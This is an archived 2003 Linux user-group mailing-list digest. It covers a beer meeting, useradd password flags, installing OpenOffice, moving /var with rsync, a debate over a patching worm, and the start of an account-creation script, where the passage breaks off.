Friday! In-Reply-To: References: Message-ID: <3F4170F8.8090808@visi.com> Wow I could go to my chiro get adjusted and get adjusted at the bar! _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From spencer at autonomous.tv Mon Aug 18 20:00:14 2003 From: spencer at autonomous.tv (Spencer Butler) Date: Mon Jan 17 12:40:36 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] Beer Meeting Friday! In-Reply-To: References: Message-ID: <20030819010014.GK16729@autonomous.tv> On Mon, Aug 18, 2003 at 04:19:24PM -0500, Jima wrote: >--- snip --- >A TCLUG beer meeting is a bi-weekly get-together where TCLUG members can >get to know one another and share a beer. The beer meetings are open to >anyone and everyone, so don't be afraid to show up. > >When: >Friday, August 22, 2003 >6pm - 8pm > >Where: >Scoreboard >5765 Sanibel Drive >Minnetonka, MN Minnetonka? bah... -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030818/3862af60/attachment.pgp From waynej at dccmn.com Mon Aug 18 20:30:22 2003 From: waynej at dccmn.com (Wayne Johnson) Date: Mon Jan 17 12:40:36 2005 Subject: [TCLUG] need a variable or new way of doing this In-Reply-To: <20030818105910.5c14acc0.sfertch@real-time.com> References: <02a901c3659d$8ae1cab0$4364640a@DELL2> <20030818104900.11a787be.sfertch@real-time.com> <20030818105910.5c14acc0.sfertch@real-time.com> Message-ID: <4671.192.1.1.23.1061256622.squirrel@dccmn.com> If you read the manual closer, you'll see that -p requires the encrypted password. You need to call crypt with your password, and pass the output to useradd. At least thats the way it works on RedHat. Unfortunatly, AFAIK, there is no shell script access to crypt. I created a perl script to frontend useradd. Shawn said: > On Mon, 18 Aug 2003 10:49:00 -0500 > Shawn wrote: > >> Adduser is the interactive creation process, on Slackware at least. >> Oh, and Tru64. What you want to look at is useradd. Do a man against >> useradd and look at the options. I did see an option there on -p for >> password, but didn't look into it. Might be easier than going thru >> webmin. >> > > Here's the syntax you want to follow. It worked for me on Slack, but > the password option didn't work: > > root@server:/# useradd -c 'User Name' -d /home/guest9 -g users -m -k > /etc/skel -p password -s /bin/bash -u 33499 guest9 > > Hope that helps to get you going in the right direction. Again, the > password option didn't work for me, so you'll need to research that. > > > -- > Shawn > > The difficult we do today; the impossible take a little longer. > > Ne Obliviscaris -- "Forget Not" > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kcbnac at bnac.biz Mon Aug 18 22:33:50 2003 From: kcbnac at bnac.biz (kcbnac@bnac.biz) Date: Mon Jan 17 12:40:36 2005 Subject: [TCLUG] Couldn't resist /. link... Message-ID: <1472.67.4.148.190.1061264030.squirrel@webmail.plainhost.com> I actually fell off my chair and had to stop laughing to get oxygen to my brain after reading all the "In soviet Russia..." jokes from this one: http://science.slashdot.org/article.pl?sid=03/08/19/0053250&mode=thread&tid=126&tid=134&tid=160 Sorry...I just had to post it... _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From hackel at walkingfish.com Tue Aug 19 01:47:53 2003 From: hackel at walkingfish.com (Ryan Hayle) Date: Mon Jan 17 12:40:36 2005 Subject: [TCLUG] First Time with a tar.gz In-Reply-To: <3F41708A.2090703@visi.com> References: <3F40F81B.3060003@visi.com> <20030818145316.6fbf42b3.hackel@walkingfish.com> <20030818150646.3d7052b5.sfertch@real-time.com> <20030818152807.53595faf.hackel@walkingfish.com> <20030818153312.68984e9f.sfertch@real-time.com> <20030818155948.59e57db5.hackel@walkingfish.com> <3F41708A.2090703@visi.com> Message-ID: <20030819014753.2b3f5646.hackel@walkingfish.com> On Mon, 18 Aug 2003 19:34:18 -0500 Sam MacDonald wrote: > Dang I'm done installing it ran much like the windows installed > software I've run, no big deal. Hehe, well I don't think you'll find many other Unix programs which install quite like that, but it does make the transition easy. I personally hate such installers, but that's just me. Glad you got it working at least! -- Ryan Hayle _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Tue Aug 19 07:55:31 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:36 2005 Subject: [TCLUG] IdiotBen, RetardDan(?) In-Reply-To: <20030819002244.GA19924@refried.org> References: <20030816162929.GA16043@refried.org> <20030819002244.GA19924@refried.org> Message-ID: <20030819075531.021fa892.sfertch@real-time.com> On Mon, 18 Aug 2003 19:22:44 -0500 nate@refried.org wrote: > On Mon, Aug 18, 2003 at 12:41:53PM -0500, Jima wrote: > > On Sat, 16 Aug 2003 nate@refried.org wrote: > > > Tell her you're taking her out to dinner on a Friday night to a > > > random new place. Then just sit down with the rest of us. :) > > > > Nate, I think that might be a bit telling. Have you tested this > > idea, or > > is it completely hypothetical? :) > > It's completely hypothetical because my girl friend wants to come so > she can drink Guiness. :) > Wouldn't she technically be called your "fiance" or did you two just skip the engagement and go right for the marriage? ;) -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Tue Aug 19 07:58:39 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:36 2005 Subject: [TCLUG] IdiotBen, RetardDan(?) Message-ID: <0399641989D32043BED5793CCC8F5CD54D3699@BPEXU1VM2.andersencorp.com> Ok this is just not fair....you people have girlfriends/wives who 1. like computers 2. like Guinness 3. let you participate in above listed Guinness/computer related activities....that isn't fair....i guess I really did earn the RetardDan name..... Dan -----Original Message----- From: Shawn [mailto:sfertch@real-time.com] Sent: Tuesday, August 19, 2003 7:56 AM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] IdiotBen, RetardDan(?) On Mon, 18 Aug 2003 19:22:44 -0500 nate@refried.org wrote: > On Mon, Aug 18, 2003 at 12:41:53PM -0500, Jima wrote: > > On Sat, 16 Aug 2003 nate@refried.org wrote: > > > Tell her you're taking her out to dinner on a Friday night to a > > > random new place. Then just sit down with the rest of us. :) > > > > Nate, I think that might be a bit telling. Have you tested this > > idea, or > > is it completely hypothetical? :) > > It's completely hypothetical because my girl friend wants to come so > she can drink Guiness. :) > Wouldn't she technically be called your "fiance" or did you two just skip the engagement and go right for the marriage? ;) -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Tue Aug 19 08:07:41 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:36 2005 Subject: [TCLUG] First Time with a tar.gz In-Reply-To: <20030818192643.58900428.hackel@walkingfish.com> References: <20030818153312.68984e9f.sfertch@real-time.com> <20030818154339.M94483-100000@tcfreenet.org> <20030818155738.72eefdf7.sfertch@real-time.com> <20030818192643.58900428.hackel@walkingfish.com> Message-ID: <20030819080741.1db03687.sfertch@real-time.com> On Mon, 18 Aug 2003 19:26:43 -0500 Ryan Hayle wrote: > On Mon, 18 Aug 2003 15:57:38 -0500 Shawn > wrote: > > Which is what I stated in my first post when I broke it down on how > > to install from source. > > Actually, not to point fingers, but you didn't. You also referred to > it as "compiling" from source. I see I misinterpreted the original > post, though. > Actually, not to nit-pick, but yes I did break it down on how to install. Yes there was a mention of compiling, but the install script pretty much does that. Here's my post on how to install from source: Bah! Compiling from source is nothing on Open Office... Get the source, install from source, feel the exposure to source, gain experience! =) It's not hard to install from source at all. IIRC, all you need to do: -download it (which you've already done) -mv it to a directory. I prefer to put it in /usr/local/src -tar zxvf OO tar.gz file -cd into source directory (usr/local/src/OpenOffice....) - run ./install -net (ya want this because then it's only a couple of megs in your home directory for each user) as root -su or login as non root user who will use this -run /usr/local/src/OpenOffice.../setup Follow the prompts. Simple enough. I haven't installed it in a while, but it's definately not hard. =) -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Tue Aug 19 08:15:53 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:36 2005 Subject: [TCLUG] IdiotBen, RetardDan(?) In-Reply-To: <0399641989D32043BED5793CCC8F5CD54D3699@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD54D3699@BPEXU1VM2.andersencorp.com> Message-ID: <20030819081553.559ffc38.sfertch@real-time.com> On Tue, 19 Aug 2003 07:58:39 -0500 "Lansing, Dan" wrote: > Ok this is just not fair....you people have girlfriends/wives who 1. > like computers 2. like Guinness 3. let you participate in above listed > Guinness/computer related activities....that isn't fair....i guess I > really did earn the RetardDan name..... this list> > Let me help you feel a little better Dan, as I'm slowly corrupting my wife: 1. I've gotten her to use a computer more often now 1a. She's even playing computer games such as Everquest 1b. Soon, she'll switch over to Linux once I get a few things able to run in it 2. She drinks beer (Michelob Golden Draft to be specific), wine, and a few other things. 3. I've even corrupted her enough to go out, and get her motorcycle license. =) So, see there is hope after all!! -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Tue Aug 19 08:19:01 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:36 2005 Subject: [TCLUG] IdiotBen, RetardDan(?) Message-ID: <0399641989D32043BED5793CCC8F5CD54D369A@BPEXU1VM2.andersencorp.com> You don't understand....my wife is Polish.....and German....all that needs to be said... -----Original Message----- From: Shawn [mailto:sfertch@real-time.com] Sent: Tuesday, August 19, 2003 8:16 AM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] IdiotBen, RetardDan(?) Let me help you feel a little better Dan, as I'm slowly corrupting my wife: 1. I've gotten her to use a computer more often now 1a. She's even playing computer games such as Everquest 1b. Soon, she'll switch over to Linux once I get a few things able to run in it 2. She drinks beer (Michelob Golden Draft to be specific), wine, and a few other things. 3. I've even corrupted her enough to go out, and get her motorcycle license. =) So, see there is hope after all!! -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Tue Aug 19 08:26:00 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:36 2005 Subject: [TCLUG] Wives, was IdiotBen, RetardDan Message-ID: <20030819082600.376140ea.sfertch@real-time.com> Dan wrote: You don't understand....my wife is Polish.....and German....all that needs to be said... Well, she's got the beer swillin' lineage of German. Are you saying that the Polish in her overrides everything else? My wife's Swedish and German... Eh, over time you can corrupt 'em. ;) -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Tue Aug 19 08:34:33 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:36 2005 Subject: [TCLUG] Wives, was IdiotBen, RetardDan Message-ID: <0399641989D32043BED5793CCC8F5CD526FAB5@BPEXU1VM2.andersencorp.com> The only thing more stubborn than a German woman is a polish woman...sorry I had to say it....actually I'm not...it is true....if you knew her...and her mom....and her moms mom....and every polish or German wife I have ever met.... Dan -----Original Message----- From: Shawn [mailto:sfertch@real-time.com] Sent: Tuesday, August 19, 2003 8:26 AM To: TCLUG Subject: [TCLUG] Wives, was IdiotBen, RetardDan Dan wrote: You don't understand....my wife is Polish.....and German....all that needs to be said... Well, she's got the beer swillin' lineage of German. Are you saying that the Polish in her overrides everything else? My wife's Swedish and German... Eh, over time you can corrupt 'em. ;) -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Tue Aug 19 09:35:35 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:37 2005 Subject: [TCLUG] IdiotBen, RetardDan(?) In-Reply-To: <0399641989D32043BED5793CCC8F5CD54D3699@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD54D3699@BPEXU1VM2.andersencorp.com> Message-ID: <3F4235B7.7030605@visi.com> I know where your coming from Dan... I know where your coming from. StupidSam? Lansing, Dan wrote: >Ok this is just not fair....you people have girlfriends/wives who 1. like computers 2. like Guinness 3. let you participate in above listed Guinness/computer related activities....that isn't fair....i guess I really did earn the RetardDan name..... > >Dan > >-----Original Message----- >From: Shawn [mailto:sfertch@real-time.com] >Sent: Tuesday, August 19, 2003 7:56 AM >To: tclug-list@mn-linux.org >Subject: Re: [TCLUG] IdiotBen, RetardDan(?) > >On Mon, 18 Aug 2003 19:22:44 -0500 >nate@refried.org wrote: > > > >>On Mon, Aug 18, 2003 at 12:41:53PM -0500, Jima wrote: >> >> >>>On Sat, 16 Aug 2003 nate@refried.org wrote: >>> >>> >>>>Tell her you're taking her out to dinner on a Friday night to a >>>>random new place. Then just sit down with the rest of us. :) >>>> >>>> >>> Nate, I think that might be a bit telling. Have you tested this >>> idea, or >>>is it completely hypothetical? :) >>> >>> >>It's completely hypothetical because my girl friend wants to come so >>she can drink Guiness. :) >> >> >> > >Wouldn't she technically be called your "fiance" or did you two just skip the engagement and go right for the marriage? ;) > > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chrome at real-time.com Tue Aug 19 10:08:00 2003 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 12:40:37 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] Beer Meeting Friday! In-Reply-To: <20030819010014.GK16729@autonomous.tv>; from spencer@autonomous.tv on Mon, Aug 18, 2003 at 08:00:14PM -0500 References: <20030819010014.GK16729@autonomous.tv> Message-ID: <20030819100800.O6850@real-time.com> On Mon, Aug 18, 2003 at 08:00:14PM -0500, Spencer Butler wrote: > Minnetonka? bah... it's almost close enough to Eden Prairie to get secondhand coolness from the presence of Real-Time Enterprises. Carl Soderstrom. -- Remember kids, secondhand smoke causes secondhand coolness! _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Tue Aug 19 12:03:54 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:37 2005 Subject: [TCLUG] OT MS virus patch Message-ID: <20030819120354.222fe500.sfertch@real-time.com> Heh, just saw this on CNN/Money: http://money.cnn.com/2003/08/19/technology/good_worm.reut/index.htm?cnn=yes It's causing more bandwidth usage, but at least it appears to be a "beneficial" virus to some degree. -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From adamm at sihope.com Tue Aug 19 13:05:19 2003 From: adamm at sihope.com (Adam Maloney) Date: Mon Jan 17 12:40:37 2005 Subject: [TCLUG] OT MS virus patch In-Reply-To: <20030819120354.222fe500.sfertch@real-time.com> Message-ID: You should see the nasty thread that popped up on NANOG about it - every time someone does this there's a huge fight about whether it's good or bad. It's always ugly, and usually only dies out when Godwin is invoked. On Tue, 19 Aug 2003, Shawn wrote: > Heh, just saw this on CNN/Money: > > http://money.cnn.com/2003/08/19/technology/good_worm.reut/index.htm?cnn=yes > > It's causing more bandwidth usage, but at least it appears to be a "beneficial" virus to some degree. > > -- > Shawn > > The difficult we do today; the impossible take a little longer. > > Ne Obliviscaris -- "Forget Not" > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > Adam Maloney Systems Administrator Sihope Communications _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From veldy at veldy.net Tue Aug 19 13:59:42 2003 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 12:40:37 2005 Subject: [TCLUG] OT MS virus patch References: <20030819120354.222fe500.sfertch@real-time.com> Message-ID: <001601c36684$0cdaadc0$d037630a@dh.com> From: "Shawn" Subject: [TCLUG] OT MS virus patch > Heh, just saw this on CNN/Money: > > http://money.cnn.com/2003/08/19/technology/good_worm.reut/index.htm?cnn=yes > > It's causing more bandwidth usage, but at least it appears to be a "beneficial" virus to some degree. > I was forced to install it on my workstation at the client (NT4). I have seen four "Blue Screens Of Death" since installing the patch. Well, how is that for an improvement! Tom Veldhouse _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From spencer at autonomous.tv Tue Aug 19 14:01:24 2003 From: spencer at autonomous.tv (Spencer Butler) Date: Mon Jan 17 12:40:37 2005 Subject: [TCLUG] OT MS virus patch In-Reply-To: References: <20030819120354.222fe500.sfertch@real-time.com> Message-ID: <20030819190124.GR16729@autonomous.tv> On Tue, Aug 19, 2003 at 01:05:19PM -0500, Adam Maloney wrote: >You should see the nasty thread that popped up on NANOG about it - every >time someone does this there's a huge fight about whether it's good or >bad. It's always ugly, and usually only dies out when Godwin is invoked. "The next person that says anything about writing a good worm in my presence had better have insurance. Len, I love you, you're a great guy, but this worm is not "benevolent" -- it's just a piece of crap, and very poorly thought out at that." --nanog-list This sums up my personal view fairly well. I would also add that that any software that opens (especially privileged tcp) ports on my computer without my consent is also not "benevolent". -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030819/e0127d3e/attachment.pgp From sfertch at real-time.com Tue Aug 19 14:08:52 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:38 2005 Subject: [TCLUG] OT MS virus patch In-Reply-To: <001601c36684$0cdaadc0$d037630a@dh.com> References: <20030819120354.222fe500.sfertch@real-time.com> <001601c36684$0cdaadc0$d037630a@dh.com> Message-ID: <20030819140852.46fc394a.sfertch@real-time.com> On Tue, 19 Aug 2003 13:59:42 -0500 "Thomas T. Veldhouse" wrote: > From: "Shawn" > http://money.cnn.com/2003/08/19/technology/good_worm.reut/index.htm?cnn=yes > > > > It's causing more bandwidth usage, but at least it appears to be a > "beneficial" virus to some degree. > > > > I was forced to install it on my workstation at the client (NT4). I > have seen four "Blue Screens Of Death" since installing the patch. > Well, how is that for an improvement! > I said to "some degree" didn't say overall beneficial on the virus. If you installed the patch from MS directly, then it's their problem, not mine. If you installed from the virus, then it's your fault for not staying up to date and letting this things propogate on your system. Besides, I thought NT4 support was ending soon.... There's enough crap out on the 'net already with destructive viruses. For me, it's nice to see someone make a "virus" that doesn't something somewhat constructive for a change. -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Tue Aug 19 14:43:21 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:38 2005 Subject: [TCLUG] OT MS virus patch In-Reply-To: <20030819140852.46fc394a.sfertch@real-time.com> References: <20030819120354.222fe500.sfertch@real-time.com> <001601c36684$0cdaadc0$d037630a@dh.com> <20030819140852.46fc394a.sfertch@real-time.com> Message-ID: <3F427DD9.4010804@visi.com> Shawn wrote: >On Tue, 19 Aug 2003 13:59:42 -0500 >"Thomas T. Veldhouse" wrote: > > > >>From: "Shawn" >> >> > > > >>http://money.cnn.com/2003/08/19/technology/good_worm.reut/index.htm?cnn=yes >> >> >>>It's causing more bandwidth usage, but at least it appears to be a >>> >>> >>"beneficial" virus to some degree. >> >> >>I was forced to install it on my workstation at the client (NT4). I >>have seen four "Blue Screens Of Death" since installing the patch. >>Well, how is that for an improvement! >> >> >> > >I said to "some degree" didn't say overall beneficial on the virus. If you installed the patch from MS directly, then it's their problem, not mine. If you installed from the virus, then it's your fault for not staying up to date and letting this things propogate on your system. > >Besides, I thought NT4 support was ending soon.... > >There's enough crap out on the 'net already with destructive viruses. For me, it's nice to see someone make a "virus" that doesn't something somewhat constructive for a change. > > > Wow, lets play XBill and have some fun! :0) _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From webmaster at mn-linux.org Tue Aug 19 15:33:35 2003 From: webmaster at mn-linux.org (webmaster@mn-linux.org) Date: Mon Jan 17 12:40:38 2005 Subject: [TCLUG] A new classified ad at TCLUG Classifieds Message-ID: <200308192033.h7JKXZi12825@crusader.real-time.com> A new TCLUG classified ad at was placed Tue Aug 19 15:33:35 2003. Name: Don~ Category: computerwanted Subject: External modem wanted Ad: Wanted: New or \ To view this and other ads at TCLUG Classifieds, please visit: http://www.mn-linux.org/cgi-bin/classifieds/classifieds.cgi _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From erik at andersonfam.org Tue Aug 19 16:27:18 2003 From: erik at andersonfam.org (Erik Anderson) Date: Mon Jan 17 12:40:38 2005 Subject: [TCLUG] moving /var to another partition Message-ID: <3F429636.5050409@andersonfam.org> I have a RH8 box whose /var I need to move to another partition. Would the following command be OK to copy the current /var to the /newvar? # rsync -avp /var /newvar Do you see any issues with that? Thanks! - Erik _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From list at slushpupie.com Tue Aug 19 16:37:52 2003 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 12:40:38 2005 Subject: [TCLUG] moving /var to another partition In-Reply-To: <3F429636.5050409@andersonfam.org> References: <3F429636.5050409@andersonfam.org> Message-ID: <20030819163752.44f7efc9.list@slushpupie.com> On Tue, 19 Aug 2003 16:27:18 -0500 Erik Anderson wrote: >I have a RH8 box whose /var I need to move to another partition. Would >the following command be OK to copy the current /var to the /newvar? > ># rsync -avp /var /newvar > >Do you see any issues with that? Just make sure you dont have anything running that uses /var when you do it. Moving /var can mess up some system state and other things. Use lsof to verify if at all possible. I dont think your command has any bugs, but -a already includes -p so its redundant. If you have any hard links, you might also insider adding the -H option, but I dont think anything does that by default in /var. If you tar everything, then untar it in the destination, you have the added benefit of having just completed a backup at the same time. Jay _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From trammell+tclug at el-swifto.com Tue Aug 19 16:40:33 2003 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Mon Jan 17 12:40:38 2005 Subject: [TCLUG] moving /var to another partition In-Reply-To: <3F429636.5050409@andersonfam.org> References: <3F429636.5050409@andersonfam.org> Message-ID: <20030819214033.GA26994@mail.el-swifto.com> On Tue, Aug 19, 2003 at 04:27:18PM -0500, Erik Anderson wrote: > I have a RH8 box whose /var I need to move to another partition. Would > the following command be OK to copy the current /var to the /newvar? > > # rsync -avp /var /newvar > > Do you see any issues with that? > I have no reason to think your rsync won't work, but what's wrong with "cp -a"? -- trammell@el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From spencer at autonomous.tv Tue Aug 19 16:39:57 2003 From: spencer at autonomous.tv (Spencer Butler) Date: Mon Jan 17 12:40:38 2005 Subject: [TCLUG] moving /var to another partition In-Reply-To: <3F429636.5050409@andersonfam.org> References: <3F429636.5050409@andersonfam.org> Message-ID: <20030819213957.GS16729@autonomous.tv> On Tue, Aug 19, 2003 at 04:27:18PM -0500, Erik Anderson wrote: >I have a RH8 box whose /var I need to move to another partition. Would >the following command be OK to copy the current /var to the /newvar? > ># rsync -avp /var /newvar > >Do you see any issues with that? A couple of things. The 'a' implies the 'p' (permissions) so that is not needed. The second thing is your command will copy all files from the /var directory into the /newvar/var directory, probably not what you want. Here is what I would do: # rysnc -auv /var/ /newvar/ Note the '/' after each directory name, this is very important. See man rsync for why. Also note the 'u' option. This tells rsync to only update newer files. I am assuming the /newvar directory is currently empty, but any subsequent rsync's will probably require that option. Setting your fstab is and mount point is another topic. Are you aware of how to adjust these? -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... 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Would dropping to init 1 be sufficient? _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From erik at andersonfam.org Tue Aug 19 16:55:18 2003 From: erik at andersonfam.org (Erik Anderson) Date: Mon Jan 17 12:40:38 2005 Subject: [TCLUG] moving /var to another partition In-Reply-To: <20030819213957.GS16729@autonomous.tv> References: <3F429636.5050409@andersonfam.org> <20030819213957.GS16729@autonomous.tv> Message-ID: <3F429CC6.2040204@andersonfam.org> Spencer Butler wrote: > A couple of things. The 'a' implies the 'p' (permissions) so that is > not needed. The second thing is your command will copy all files > from the /var directory into the /newvar/var directory, probably not > what you want. Here is what I would do: > # rysnc -auv /var/ /newvar/ Yeah I know - that was a typo in my initial post. Thanks for the heads up though. > Setting your fstab is and mount point is another topic. Are you aware > of how to adjust these? Yep - no prob. I *have* used linux in production and non-production environments for several years now, I've just never had the occasion to move a partition. Thanks for the info. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From waynej at dccmn.com Tue Aug 19 17:31:34 2003 From: waynej at dccmn.com (Wayne Johnson) Date: Mon Jan 17 12:40:39 2005 Subject: [TCLUG] need a variable or new way of doing this Message-ID: <1241.192.1.1.23.1061332294.squirrel@dccmn.com> Here's a quick and dirty script I wrote several years ago, back when I couldn't code a perl script to save my life... Back by popular demand... This is a shell script, but it runs perl to do some of the more complicated stuff. Eventually I'll re-write it in perl. Shawn said: > On Mon, 18 Aug 2003 20:30:22 -0500 (CDT) > "Wayne Johnson" wrote: > >> If you read the manual closer, you'll see that -p requires the >> encrypted password. You need to call crypt with your password, and >> pass the output to useradd. At least thats the way it works on >> RedHat. >> >> Unfortunatly, AFAIK, there is no shell script access to crypt. I >> created a perl script to frontend useradd. >> > > I didn't look into the password part that much on the man page. > Although, I've got a need for it in the future. > > Any chance you can post the perl script? > > > -- > Shawn > > The difficult we do today; the impossible take a little longer. > > Ne Obliviscaris -- "Forget Not" -------------- next part -------------- # This script sets up a user account. It picks a user name, creates the user, # and sets the password. User information is read from a file, or stdin. # File format is: # User id (student id) # User first name # User last name test=0 samba=0 while [ 